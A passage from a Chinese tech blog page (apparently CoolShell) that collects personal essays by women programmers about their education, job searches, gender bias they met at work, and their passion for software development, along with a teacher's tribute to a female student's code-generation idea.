一个非典型的女程序员的曲折经历</h5>\n<p>简单介绍一下我自己吧，我07年从一所TOP10的著名理工大学计算机专业硕士毕业，目前在一间世界500强的欧美通信公司担任高级系统软件工程师的职位。</p>\n<p>因为本科并不是学的传统计算机专业，而是计算机与通信的交叉学科（课程设置上少了面向对象、JAVA程序设计等计算机高级专业课程，增加了很多电子线路设计、通信、信号论等）。毕业时因为专业课成绩优异直接保研。如果说本科毕业的时候，自己还是颇为踌躇满志，那研究生的三年就是郁闷的开始。保研后，虽然还在计算机专业但主要从事的是硬件电路板的开发。项目组的组长是一个博士，人很好但是不太会和女孩子打交道，或者说有一些性别歧视吧。进入项目组之后，一开始做了一些电路板的Schematics、PCB layout和Debug的工作，也得到了组长的好评。但是渐渐的，由于我并没有表现得非常的积极主动和对技术充满热情，组长分给我的任务越来越少。我也越来越苦闷，当时的我还并不知道该如何面对这种情况。组里曾经也来过一个女生，面临比我还要糟糕的情况，记得一次项目组吃饭当时那个女生没来，组长直接对我们大家说这个女生能力不行，没过多久她就被调去别的组了。但是我还留在这里，组长几乎很少和我说话，当时的我不知道如何向他表达我的心情也不知道自己想要什么，陷入对自己能力的深深的否定中，当时的想法只有一个：赶快毕业吧。这种情况一直持续到研二下学期。最后一年碰到了一个去国外实习半年的机会，毫不犹豫的就去了，是在一个很牛的电子公司里做电子工程师助理。干的活基本和在项目组干的差不多，画图调板子打杂，但是这半年我想清楚了一件事，就是我对干硬件没啥兴趣如果不能做IC design的话就转去做软件吧！</p>\n<p>但是，当时的我还陷入在对自己能力的盲目乐观中，总觉得自己之前成绩很好，做实验写程序从来不输给男生，想转应该不难吧。回国后迅速搞定论文就开始找工作了。找工作的时候，现实很快无情地把我打倒了。因为当时我的男朋友也是现在的老公已经早我几年毕业在北京工作了，而且发展得很不错，所以当时我也一心只想找北京的工作。可是自己过去三年几乎没有写过程序，和学校里众多写过N年程序的同学竞争，结果可想而知。我只能拿到去其他城市做硬件的offer，但是却无法拿到去北京做软件的offer。这时，我的自信心跌到了谷底，TOP10大学的TOP10学生（即使读研期间很郁闷但是还是拿了不少奖学金，而且去国外半年也赚了不少钱）居然找不到工作。后来，在一个师兄的推荐下，得到了我的第一份工作，在北京的一个小公司做嵌入式软件开发。</p>\n<p>虽然能来北京做软件，但和我去Google、Microsoft、IBM的同学相比，失落感不言而喻。几乎每个认识的人都会问我为什么去那个公司，为什么不去大外企，为什么不留在国外。这种失落情绪笼罩了我工作的第一年。但是还好，这个公司没什么牛人，并且因为我很好的学习能力，很快上手了。因为做底层软件需要对各种硬件接口、中断、DMA、处理器深入理解，我之前做硬件的经验也派上了用场，只用了半年时间，我就开始独立负责项目了。从第二年开始，我开始参与公司一些重要产品的开发，越来越得心应手。</p>\n<p>期间，公司从其他部门调了一个工作多年的男程序员来做我的领导。一开始，我很高兴，因为了解到这个人技术不错，而且一直做上层软件所以对面向对象、设计模式、软件架构、代码规范都颇有经验，我正好可以向他学习。但是，一起工作了一段时间后，矛盾出现了。这个人认为我虽然学东西很快对公司产品业务熟悉，但是对技术缺乏热情很少主动学习技术，对很多软件开发的基础也掌握得不够，所以每次对我的评估结果就是一般；而我当时初出茅庐，认为这个人对硬件毫无了解并且没有很快在做底层软件上证明自己比我牛，所以很不服气。记得当时一起开发一个产品，因为我对主要的业务逻辑更熟悉，所以挑了最复杂的业务逻辑模块来做；他则负责其他几个通用模块的开发。为了证明自己，我只用了他一半的时间就完成了所有功能。在联调测试过程中，由于他是项目的负责人，所以每次Bug都是先提交到他那里然后再由他来指派给对应的人来负责。因为他对平台不熟悉，所以每次解Bug都要连调试器跟很久，而我常常只通过代码Review就能找出问题所在。渐渐的，所有测试的问题都直接反馈到我这边；后来产品上市，售后碰到解决不了的问题也会直接反馈到我这里。等到我们一起开发第二个产品的时候，那个男程序员几乎完全交由我独立负责。半年后，他调回了他之前的部门，我们共同开发的两个产品也顺理成章由我独立负责下去。</p>\n<p>在公司工作三年以后，我对继续呆在这个部门里干软件开发渐渐失去了兴趣，基本都是重复性的劳动，而且由于是小公司除了开发之外还有很多杂事（比如因为公司售前售后没有技术背景，常常需要开发去Support；因为薪资不高常常会招一些水平较低的工程师，需要很多力气去Training）软件水平也难以再提高。而这时，公司也有意让我转向业务型负责人的方向，这几乎是在当时公司晋升的唯一途径；而如果升职，之后基本和程序员Say Bye了。可是真的要放弃做开发吗？以当时所在行业规模和公司本身的名气地位来说，如果不做开发，我很难想象以后跳槽的机会在哪儿；如果做开发，我又很难在公司继续获得我想要的。于是，我接受了公司的安排，去体验一下程序员之外的工作是否适合，同时也积极寻求跳槽的机会。在公司的最后半年，我几乎脱离了开发的工作，主要的工作内容是调研公司计划新开辟的产品线的产品形态及技术，去往各地出差做客户交流，和开发部门开会制定产品开发计划。在这半年里，我开始怀念单纯的程序员生活，不用去应酬形形色色的陌生人，即使公司倒闭也能很快找到工作养家糊口的踏实感。</p>\n<p>第二次找工作的经历和第一次完全不同，有了之前几年的工作经验，我很快就拿到了几个大公司的offer。通过面试，我也逐渐认清了自己的不足之处。回想起来，我觉得之前那个男程序员说的一点没错。我并不是个本身对技术非常有热情的人，之前的研究生经历也是如此，后来工作也常常认为自己学东西快所以技术可以等到用的时候再学。面试的时候和一些经验丰富的面试官交流，可以非常明显得感受到热情这个东西对技术水平有着多么重要的影响。但是，另一方面，我对技术也并不是完全没有热情，这种热情很大程度受外界环境的影响。如果在一个大家都很牛都很积极学技术的环境，我也非常乐在其中。选择目前的公司，一是因为当时经历了比较艰苦的几轮技术面试，另一个重要的因素就是这里是有可以正面影响我的环境。目前在现在的公司工作了大半年，虽然部门三十多个程序员就我一个女孩（但是很多男程序员级别都比我低，哈哈）但是很开心，周围都是聪明并且富有经验的同事，让我受益很多，对技术也越来越有兴趣。</p>\n<p>这就是我有点曲折的女程序员经历，但也是女程序员们很有可能会碰到的情况，譬如性别歧视，譬如对技术的热情等等。我觉得做女程序员不容易，女程序员由于女性的心理特质容易把负面的情绪扩大。所以女程序员最重要的是内心强大，碰到不信任你的领导或男同事，要大胆说出自己的想法，同时拿出有说服力的行动。另外，从我自己的经历和我面试过的女程序员来看，女孩通常会专注于完成工作，不像男孩那么对技术有热情；而且社会上也有各种声音说女孩不适合做程序员，于是女孩也容易自我怀疑。我的经验是，有时候先暂时不要想究竟适不适合，努力做一段时间，有些事情需要深入到一定程度才会有兴趣，如果还是不喜欢再考虑是不是放弃。</p>\n</div>\n<div>\n<h5 style=\"font-size: 15px; margin: 5px 0px;\">Linn – 误打误撞的程序员</h5>\n<p>昨天老公发来的网址给我看。<br/>\n那时候刚好项目上线，大家要去聚餐，就匆忙的瞅了一眼，跟老公开玩笑说，怎么样，我也写一篇？<br/>\n他说好啊。</p>\n<p>今天是2011年的最后一天。<br/>\n挺有纪念意义的，回顾一下。</p>\n<p>我是高中生，05年毕业，去了北大青鸟，我知道现在很多人对北大青鸟的看法褒贬不一。<br/>\n怎么说呢，一母生九子吧。</p>\n<p>其实当初高考失败，我不想去上大专，更不想复习，我知道自己学不进去。<br/>\n那时候接触电脑不多，可能也就一周一次的电脑上机课，但我就是对它很有兴趣。很单纯的。</p>\n<p>接着，同学听别人说了北大青鸟，然后想让我跟她一起去。<br/>\n其实，当时我连编程是干什么的都不知道。哈哈。<br/>\n我那个同学也是女的。<br/>\n我说服不了我爸爸，我爸爸还是比较想让我上大专，他说至少你出去长长见识。<br/>\n我脾气比较倔，想一件事，就一定要去做，我带我同学去我家，她的劝说能力比较强，最后我爸无奈之下同意了。</p>\n<p>然后我就离开了我们县，去了我们省的省会。</p>\n<p>第一次出远门。<br/>\n我当时不会讲普通话，我觉得自卑（现在想想我真是很容易自卑），到了那里后，同学跟她姐姐有事出去了几天。<br/>\n那几天我就跟个傻子一样，就在她姐姐租来的小屋子里呆着，没有电视，没有电脑，甚至我不怎么出去吃饭。<br/>\n寂寞、孤独、无助、茫然。<br/>\n其实人的恐惧源于无知。对这个城市的无知，对未来生活的无知。</p>\n<p>我终于没有忍住，给家里打了个电话，哭了。<br/>\n我爸跟同学的爸爸听说后，立马就坐车到了我住的地方，我那时候真的没有想到有那么严重的结果。<br/>\n我爸爸一直都比较宠我，我没想到他们会来。<br/>\n那天我刚好跟同学还有她姐姐出去玩，很晚才回来。<br/>\n那是夏天，很热，就看到两个老人满头大汗的在我们住的屋子对门那家，吃西瓜。<br/>\n我差点又哭了。<br/>\n第二天早上，我爸问我，他说，你还想留下吗。<br/>\n我说想。<br/>\n就这么回去了，我觉得没脸。</p>\n<p>我想那时候我爸就彻底死了劝我回去的心了吧。</p>\n<p>然后交钱上课。</p>\n<p>大家刚学编程的时候可能都会有那样的经历，计算机本来就是一个很抽象的东西，编程，就是抽象中的抽象。<br/>\n刚上课的时候，很久没有玩过电脑，我甚至忘记了本来就不怎么熟悉的盲打。<br/>\n我很清楚的记得班主任跟我说：盲打还不会，基础不行啊，多练习练习。</p>\n<p>2005年8月份，到2007年3月份，我毕业了。</p>\n<p>这时候我的状态：学过多门编程语言，主打java，当初学了app4.0，4.0的课程里有struts1.2，oracle等。<br/>\n但，知其然不知其所以然，还是懵懵懂懂的样子。</p>\n<p>其实我们当时有两个就业方向.NET，J2EE，当时还是叫J2EE的。<br/>\n都说J2EE是比较难的，我为什么学这个，说起来也有点搞笑，因为我觉得，.NET可视化功能太强大了。<br/>\n我本来就学的懵懂，不精，控件拖来拖去的，我就更迷糊了。不如JAVA一行行代码写起来来的踏实，哈哈。</p>\n<p>第一次面试，现在说起来真的很鄙视当时的自己。<br/>\n我本来是相当老实一孩子。<br/>\n我们当时有就业部，负责学生就业。<br/>\n教我们如何面试，如果跟面试官交流，如何突出自己的优点。<br/>\n我记得特清楚的是，如果人家问你的缺点，你可不能真说你自己的缺点，要说一种看起来像缺点，实际对编程或者公司来说是优点的。<br/>\n我真是傻孩子，我这么干了，记不太清我的原话了，但大意说自己比较执着什么的。<br/>\n面试官最后说了一句话让我无地自容至今，他说：这不还是你优点吗？</p>\n<p>07年4月9号入职。公司做一个门户网站。</p>\n<p>公司给新员工机会，试用三天。<br/>\n就是看公司原有的框架spring+ibatis，做一个功能给pm看，如果可以，就留下。<br/>\n我运气有点背，机器有问题，不时的挂。<br/>\n再说我也没怎么看懂的说，三天过去以后，没能拿出来一个东西。<br/>\npm过来看了一下，然后跟人事说，回来的时候表达要我离开的意思。<br/>\n当时我内向啊，有点懵。<br/>\n我跟他说，我机器有问题。<br/>\npm人也很好，他说那再给你半天吧。<br/>\n这时，我后来的组长，真的给我很大的帮助，他说你应该怎么怎么来。<br/>\n其实我本来有些懂的，他那么一说，我顿悟了。<br/>\n1个小时，或许不到，反正很短，我又叫pm过来看。<br/>\n他跟我说，好了，你可以留下了。<br/>\n我跑到卫生间，那瞬间，真的很想大哭。兴奋、激动、委屈。我也读不懂当时的那种感情。</p>\n<p>其实这个公司并没有让我的技术提高多少。<br/>\npm是一个技术相当强悍的人，至今见过这么多人，我依旧这么觉得。<br/>\n框架里的很多东西，当时不太能理解的了。<br/>\n但是当初经历的那群人，真的让我铭记至今。</p>\n<p>09年，男朋友毕业，留在了另外一个城市，我所在的公司宣布解散，于是我也过去了。</p>\n<p>其实我觉得我内心深处有一股非常强烈的自卑，我不知道这自卑来自于过度的谦虚，还是觉得自己的水平真的不行。我想或许两者兼有。</p>\n<p>在这个城市的面试很糟糕，我是一个很简单的人，只是想尽自己的努力去做一些事情。<br/>\n后来留在了一家公司，公司新开的一个部门。<br/>\n招的都是几个大学刚毕业的学生，有几个从达内出来的。<br/>\n他们的技术不是不怎么样，是真的很不行！<br/>\n于是我跟另外一个男同事就成了头儿。</p>\n<p>那时候的项目是给公司自己用，做页面，写css，写代码，服务器，几乎都是我来牵头。<br/>\n那一年的时间，对我的感触很大，技术也提高很多，因为什么事情都是你自己来做，自己去想。<br/>\n压力很大，但也很茫然。我不知道自己在做些什么。因为公司毕竟不是正规的it公司，我自认自己技术挺烂，真的需要人协助。</p>\n<p>说一下我的男朋友。<br/>\n他一直喜欢手机上的东西，知识面覆盖非常广。<br/>\n10年6月份的时候，北京有一个机会，他过来面试，然后留下做iphone手机开发了。<br/>\n于是我也着手辞职跟着过来。</p>\n<p>北京的面试依旧不怎么乐观。于是我几乎每天晚上看基础知识看到很晚。<br/>\n我一个同事说的好。他说如果你不能说，你就只能靠做面试题来让对方看到你的水平。</p>\n<p>我还是算运气比较好，一个星期的时间，我收到了现在公司的offer。</p>\n<p>或许你看到这里已经明白，我几乎是跟着男朋友的脚步走。<br/>\n事实上，是这样的。<br/>\n做程序员，只是我要做的一件事。而家庭是我的全部。<br/>\n事业上，我其实一直都很茫然。<br/>\n我想是有这样一部分的人存在，他们没有梦想，没有目标。<br/>\n我说的梦想是指那种真心喜欢，并能为之奋斗一生的事情。<br/>\n我想我就是那样的人。<br/>\n但这种人必然有另外一种追逐的东西，比如，我时刻都很清楚家庭才是我的全部。<br/>\n我会找一份不很累的工作，有充裕的时间，来陪伴他们，同时也让自己有事情做，不空虚，不无聊，不虚度。<br/>\n但这不代表我工作会做的很糟糕，相反，我第一个项目经理跟我说，以后如果我开了公司，我第一个就会找你。<br/>\n我第二家公司的老板，在我来北京之后还打电话叫我回去。<br/>\n现在的公司，领导跟我说，我见过很多跟你一样条件，从北大青鸟出来的人，但像你这样的，真的少见。</p>\n<p>我做程序员，其实算误打误撞，现在想想，我当时向往的应该是美工设计之类的工作。<br/>\n我不是什么技术大牛，我碰到的女程序员，也没有什么技术大牛的。<br/>\n但是他们都有一个共同点，就是不管他们做任何东西，只要交到他们手上，在相等条件下都会比男同事做的好。<br/>\n这可能跟女孩子天生的认真细心有关。</p>\n<p>这篇文章，可能看起来比较乱。<br/>\n但我想表达的一个意思就是，其实女程序员很普通，也特别，神秘，也不神秘，如果你了解了的话。<br/>\n但她们绝对是可爱的。大多数有着男孩子的性格，豪爽。<br/>\n所以我时常说这世界上有男人、女人、女博士、女程序员，哈哈。</p>\n</div>\n<div>\n<h5 style=\"font-size: 15px; margin: 5px 0px;\">Nana – 做喜欢做的事，所以很开心</h5>\n<p>你好，关于女程序员的那篇blog是群里一个GG推荐我看的。这应该算一个励志故事吧，可是一般励志故事都没什么意思，不是苦大深仇，就是从委屈一路走到故事末尾，见到一点小小的胜利。说的故事虽然到了末尾，但人还活着啊，所以真正的故事还没完呢。对励志剧不太感兴趣，因为事实往往是，努力不一定会成功，而且不成功的在大多数。</p>\n<p>我的故事无关成功与失败，随便看看。先说说为什么会去写程序这件事吧。起初完全不相关的，我喜欢的是动漫。但是对于自己的画画和分镜都不看好，于是想到了游戏。动漫游，是不分家的。游戏行业有许多种职业，常见的小工有：策划美术程序。这3种职业的相关基础课都上了下，其中，编程给我留下了非同寻常的印象：这件事情，太TM好玩了！！即便会拉3D模型、会设计游戏的灵魂世界观，也不能同它相比。于是，几乎没怎么犹豫就开始学习编程了。</p>\n<p>一开始是学java，比较容易的。后来接触了C++，貌似稍微复杂点，不过总的来说，会了一门语言其它的都有点异曲同工，所以不管性别如何，其实没啥差别。在工作中，也没觉得人家拿我性别说事或特殊化，大家都凭能力干活拿薪水，可能比某些靠关系的行业好一点。很想推荐下我们项目组正在开发的这个游戏，但又怕一说名字就暴露了，呵呵，我们组就我一个mm。</p>\n<p>人家都说，编程薪水高，我不能说这是假的，但我的同学中，薪水高的都是加班连轴转、除了程序不太想其它的。用那样的精力时间换来的高薪，到哪个行业都能换到吧。</p>\n<p>学历，貌似在编程这个行业里更加渺小了吧。只有一次去面试一家大游戏公司时，被问过是不是重点大学。其它公司基本不怎么关心，更看重能力。也只有一次，在面试中，被问到是否已婚。可能是怕生孩子耽误工作吧，人走了活儿给其他人干，其他人虽然不说什么，但无形中增加的压力是肯定有的。但在这里我要说一句，这些面试官思维都有点传统啊，其实不结婚也可以生孩子、已婚生完孩子的也可以再生啊。要不你们干脆就说，女性勿面试，不是更好？！</p>\n<p>做程序是吃青春饭，这话有点道理的。我现在的工作，是喜欢干的事，所以很开心。但如果是一个需要养家糊口的GG，可能就不能只顾着自己开心了。所以说，做程序员，mm也许更合适？</p>\n<p>呵呵，午休结束了，回去干活～</p>\n</div>\n<div>\n<h5 style=\"font-size: 15px; margin: 5px 0px;\">Gift – 当一名战士就是一支军队，那些软件不需要工程的时候</h5>\n<p>请允许我为公正评价女程序员做一点贡献。以下文字所提到的关同学是一位女程序员。</p>\n<p>注：以下文字已发表于[http://blog.csdn.net/younggift/article/details/7166600]。</p>\n<p>* 最初的代码</p>\n<p>1994年，当我开始对编程感兴趣的时候，还没有软件蓝领这一说法，但是我已经有了后来软件蓝领流行起来以后的困惑。</p>\n<p>我第一次做的比较大的程序，是用GW-BASIC写的，没有IDE界面，需要按行号插入，黑底绿字的显示器，单个软驱倒腾用两张盘。 (感谢我们的导员刘春光老师每天中午借我用他的计算机) 要编的程序是自己想出来做着玩的，一个DOS界面下CGA显示模式，菜单方式的……班费管理程序。如同齐同学的那个定票系统，这个软件并没有实际应用，不过，它对我来说，比此后所有写的程序都更难。</p>\n<p>代码后来参加一个比赛的时候，打印了唯一的一份纸质版，打印纸抻开比我举起手还要高。我当时遇到了程序设计中的核心问题–大量的代码，复杂的逻辑。</p>\n<p>我当时使用了GW-BASIC提供的一个非BASIC的功能 gosub，类似于函数调用，它帮助我逃过了程序彻底混乱的厄运。后来当我学到模块化思想的时候，如遇故人。我毫不费力地就接受了这个观念，因为痛过，所以印象深刻。</p>\n<p>后来经常见到有初学的同学函数写得超出两三屏，还很得意自己逻辑控制能力。我就在心里撇嘴，你那是还没受够罪。</p>\n<p>大量的代码，复杂的逻辑。软件工程给了我们某个答案，就是软件蓝领，它声称大量的人工、短期培训、重复地简单劳动，能够解决–以工程的方法–大量代码和复杂逻辑的问题。</p>\n<p>是的，我们这么干过，好几千看前就这样做。埃及盖金字塔，是没有起重机的，而是靠几千几万人力完成的；中国的古长城 (不是当代的) ，也没有等待现代电子计算机和通信技术的发展，而是靠万喜良们的双手堆砌出来的。</p>\n<p>那个时候，他们一定期待一种东西，可以用燃油作为动作，稳妥精确地运输沉重的材料。</p>\n<p>但是他们没有。因为是时代是父亲是民族选择我们，而不是反过来，所以很多时候很多事情都不能一蹴而就。</p>\n<p>有的时候，智力或自然的法则也参与限制。</p>\n<p>* 他们说，没有解析解</p>\n<p>在数学当中，有一种解题的方法得出的结论称为解析解。我们解一个方程，得到结果，如果我们所做的常见运算只需要 有限次，那么，这个结果就称为解析解。</p>\n<p>这是什么意思呢？就是说，你可以通过公式，只需要一个大式子，可能非常大，但是最终可以计算出结果，直接地。</p>\n<p>难道不都是这样么？不幸的是，还有一些方程，伟大的牛人数学家们告诉我们，有些方程就是不能通过公式求出来。而我们在工业生活中还需要求解。</p>\n<p>数学家牛人们还是有办法的。他们创造了另一种方法，用猜测-比较-再猜测，大致这样的方法，逼近我们寻找的那个数。这些牛人们中的第一位就是著名的牛顿。</p>\n<p>但是，我们得到的是那个”数”，是整个方程中的一段，而且是粗糙的。精细的完全一致的解，可能永远也无法求得，我们得到的就是对于当前的应用”足够”精确<br/>\n的个案。</p>\n<p>人类是多么地热爱形而上，热爱一次性解决所有问题啊。可是，数学牛人们说，有时候，你哭也没有用，就是不行。</p>\n<p>在程序设计中也是一样，只有工程方法，有人说，就是蓝领方法，才能解决大量代码和逻辑复杂的问题。</p>\n<p>如果没有燃油，没有热功当量，除了征服更多的奴隶，又有什么方法能够赢得自己的自由呢？</p>\n<p>但是，我们是否已经判定程序设计一定没有解析解，所以只能靠人力逼近？</p>\n<p>* 解析解</p>\n<p>我和李记者曾经对刘典同学怀有偏见，认为他(没有虽然技)技术极好 ，但是却从不注重软件中的工程，也不怎么注重合作。</p>\n<p>今天，关同学用事实给了我强烈的教育。她用事实告诉我：软件工程为什么有时可以忽略？因为有的程序员，她一个人可以完成超过100个程序员的。</p>\n<p>就像有的战士，一个人就是一支军队。</p>\n<p>刘典同学讲过他写数据库的程序用了编译原理生成代码，讲过写手机游戏的时候用虚拟机。前几天，我刚刚写了3千多的代码生成器，吐出来近6万行代码。这些<br/>\n给我的印象也都没有今天这样深刻。</p>\n<p>程序设计，是一种创造工作，就像写小说。与写小说不同的，你所创造的是一台机器，它可以做很多事，你甚至可以制造一台机器，它以代替你写作最终需要的<br/>\n代码。</p>\n<p>在所有的计算机本科都开设了相关的课程，叫做编译原理。在一定程度上，这是一个解析解。</p>\n<p>* 关同学</p>\n<p>今天我CIAC的导师请大家吃饭，辛苦一年。导师本人想参加，我托包师弟说：不欢迎他。如果导师出现，今天稍微拘谨的场面，就可能令聚会完全不同。</p>\n<p>我们讨论了，我们吃午饭了，我们唱歌了，我们又吃晚饭了。</p>\n<p>刚开始吃晚饭没多久，包师弟说：2012的上半年，我们有一些任务要完成，相当于本年度完成任务的40倍工作量。</p>\n<p>他说：这些工作都是相似的。</p>\n<p>可是这些相似的工作如果不能抽象出其中相同的部分，就没有一点相似。我们人类看到的相似，对于构造代码而言，毫无用处。</p>\n<p>我看不出来相似。然后我想了几个方案，又都推翻–我在想从哪里抓那么多奴隶来，又用什么报偿他们，工程本身于他们何益。其实，同学们并非奴隶，必须保<br/>\n证同学们有足够利益和受益，否则除了我自己，一个人也派不出来。</p>\n<p>我说：包师弟啊，你能不能别在吃饭的时候说这个，我都吃不下去了。</p>\n<p>我真的吃不下去了。焦虑。而且，从这以后，我真的几乎没吃啥。</p>\n<p>奇迹时刻。</p>\n<p>关同学说：老师其实我想了，这些方案都是类似的。</p>\n<p>我说：啊？</p>\n<p>她说：所有的界面都可以……根据配置文件，new 出 一个 label来……</p>\n<p>是的，不熟悉关同学的，对女生能否写好程序有疑问的，请仔细看一下，她，不是他。</p>\n<p>而且，她也不必再解释这个方案，因为软件组可以全体解散，而剩下的工作，只需她一个人短时间就可以完成。</p>\n<p>这就是抽象的力量。</p>\n<p>她没有写GUI，而是解析配置文件生成了GUI；她绕过了令我头疼的C#如何表示GUI–这样就可以生成RC文件，在编译前，我考虑过的方案–而是在运行时，new<br/>\n出所有的GUI控件来，相当于解释执行的。</p>\n<p>* 后来</p>\n<p>后来，全体软件组成员加入了硬件组，将承担下位机的代码。很好，我终于不用再讨厌他们用的IDE了，因为再也没有他们熟悉的VS什么的了。我们都开始进入<br/>\n单片机或ARM的世界。</p>\n<p>后来，关同学对我的赞不绝口指出：这个方案是你告诉我的啊。</p>\n<p>我说：啊？</p>\n<p>她说：就是大仪网的时候，你告诉我blabla。</p>\n<p>我想起来了。不过，这仍不是我的方案，而是她的。一个方案之所以好(像这个，好到如此突出，以致你一眼就能看到，绝不可能错过，如果你看到了的话)，是因为它被应用在一个恰好合适的领域，恰好解决了一个难题。至于这个方案有多难有多容易，有多高科技，其实不是多重要。</p>\n<p>关同学刚毕业的时候，我们在CIAC讨论一个框架，当时我说：这个倒是可以再抽象，不过我的方案有点耍赖了。</p>\n<p>关同学说：你是不是要用函数指针。</p>\n<p>是的。而且我非常欣慰了一下，因为学生优秀。</p>\n<p>黄同学当时认为：函数指针，也没啥难的啊。</p>\n<p>是的。函数指针一点也不难，能想到用函数指针解决这个问题，是一个高度。</p>\n<p>关同学在此刻想到了一个如此好的方案，所以接下来的半年，我们都不必那么焦虑了。</p>\n<p>这就是解析解。</p>\n<p>关的方案，不是减轻了劳动，不是像我以工程的方法、各种测试 (关今天还提出用MATLAB生成测试数据，也很好，后来给齐同学用上了) 来控制代码质量，用框架规范程序员的行为，这些都不是，关同学直接替代十来个人把40个用例生成了出来。</p>\n<p>代码质量如此一致和优秀，是由图灵保证的。</p>\n<p>* 后后记</p>\n<p>上午，与一位技术人员和一位经理谈话。</p>\n<p>我提到 通用的CMS &gt; 定制的站点 &gt; 使用CMS。</p>\n<p>那位技术人员不认可。我说：我刚刚说错了啊，我不是指复杂，而是指困难。</p>\n<p>那位技术人员blabla说，这不困难，只要如何如何即可。</p>\n<p>我说：其实我们也不必达成一致意见。我的意思不是说我们无法实现，我说的我会收更多的钱。</p>\n<p>争执略去，我同意那位技术人员的下面这个观点 (大致意思，我翻译过的) ，但是当时没有时间表达：这不是工作量，而是更高的高度。</p>\n<p>是的，那不是更复杂，不是更消耗时间，甚至不是更困难。</p>\n<p>那就是更值钱。</p>\n<p>关同学用事实告诉我：一名战士完全可以是一支军队。没错。</p>\n</div>\n<div>\n<h5 style=\"font-size: 15px; margin: 5px 0px;\">Zheng – 永不放弃程序员的工作</h5>\n<p>从工作年限来说，我还不能算是一个程序员，因为现在还是一个大四的学生。但是我已经认定了程序员的这条道路。<br/>\n高考结束后考虑专业问题，那时我的兴趣是文学，但是因为现实社会的关系和家庭经济的原因，我在毕业生收入排行榜上选择了平均收入最高的专业，软件工程。大一时懵懵懂懂，挂了很多科目，重修，从大二起开始拿奖学金，开始参加项目。因为大一评奖学金时看到自己排在倒数第二的位置，看到同班的同学参加各种软件比赛，我那时就开始思考，我在做什么？于是开始疯狂地写程序，重新学基础知识，认真上课，经常去看一些IT博客。在一家公司实习，我开始接触分布式系统的东西，那时leader让我一个人负责这一块，我就像实验的小白鼠的一样，但是我却感到很如鱼得水，我喜欢快速掌握一门新的领域，并学会总结。那是我真正意义上的在linux下的开发工作，学会了c网络编程，shell，python，hadoop,hive。那里的开发团队只有我一个女生，我见识到一个优秀的程序员所应该具备的一些素质，对技术热点的掌握，对产品的敏锐，不仅是代码，而且是融入产品的设计中，能提出作为一名开发者的意见。如果说作为一个女程序，我与他们不同之处，恐怕是得到更多的照顾，也学到很多。</p>\n<p>实习两三个月后，我选择离职，在我看来，没有毕业的我实习就是一个新的课程，工作经验就像是旅程，经历的风景是阅历，也是财富。我选择了去一家做云存储服务的公司，在那边更深入地了解关于分布式系统的知识，而这些知识的获取是我自己间接得到的，并非公司培训。我刚到那里，发现还有另一个女程序，她很活泼，而且在项目开发中占据很重要的位置。从一个程序员的角度出发，我并不觉得会写代码是一件多么厉害的事，重要的是上手的能力，系统设计的能力，构架高性能的能力。而基础这些东西只要是一个智力水平相当的人，通过一定时间的磨练，都有可能掌握的。这家公司的资源很丰盛，我的任务并不多，更多的时间是自我学习和研究毕设课题。因为leader没有放手让我干活，干的只要是python脚本的一些开发，所以每次任务来的时候我都很快完成，一般leader上午给任务，下午下班前我就可以提交代码，剩下时间就做自己喜欢的c/c++的cli小应用和一些nosql开源项目。有时一个程序出错，就很偏执地想把错误找出来以后再收工，导致吃饭误点，这样的习惯对身体很不好，现在也正在努力改正中。工作经历差不多就是这些,不介意的话讲一下求职经历。</p>\n<p>我去面试时，很多面试官都会问我，女生做开发人员的问题。我想这本来就不是一个问题，作为一个人，你需要养家糊口，我也需要。我也有自己的职业规划，清楚知道自己想要什么。从懵懂到略知一二，到准备跳进火坑里塑造一个雷厉风行的新的自我。我一直相信人的某些性质是会变的，随着阅历，经历，实践的不同也产生质的改变。你现在看到的是一个弱女子，未必将来你不会看到一个女架构师。这些都是在进入hr面以后经常会和hr聊到的东西。这份工作能体现我的价值，我就来了。这就是我求职一路的态度。后来成功拿到一些公司的offer。</p>\n<p>在未来的职场上，我也会不放弃程序员这份工作。学习的态度，认真负责的做事风格，即便我不是一个天才工程师，也可以成为优秀的程序员，不用刻意加“女”字。</p></div>\n<h5 style=\"color: #cc0000; text-align: center; font-size: 20px; margin: 30px 0px;\">女程序员们，为你们骄傲，祝你们2012年更上一层楼。</h5>\n<p><strong>（另外，请各种网站、媒体，报刊，杂志，自由转载或是选取其中的故事做为你们的素材）</strong><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" 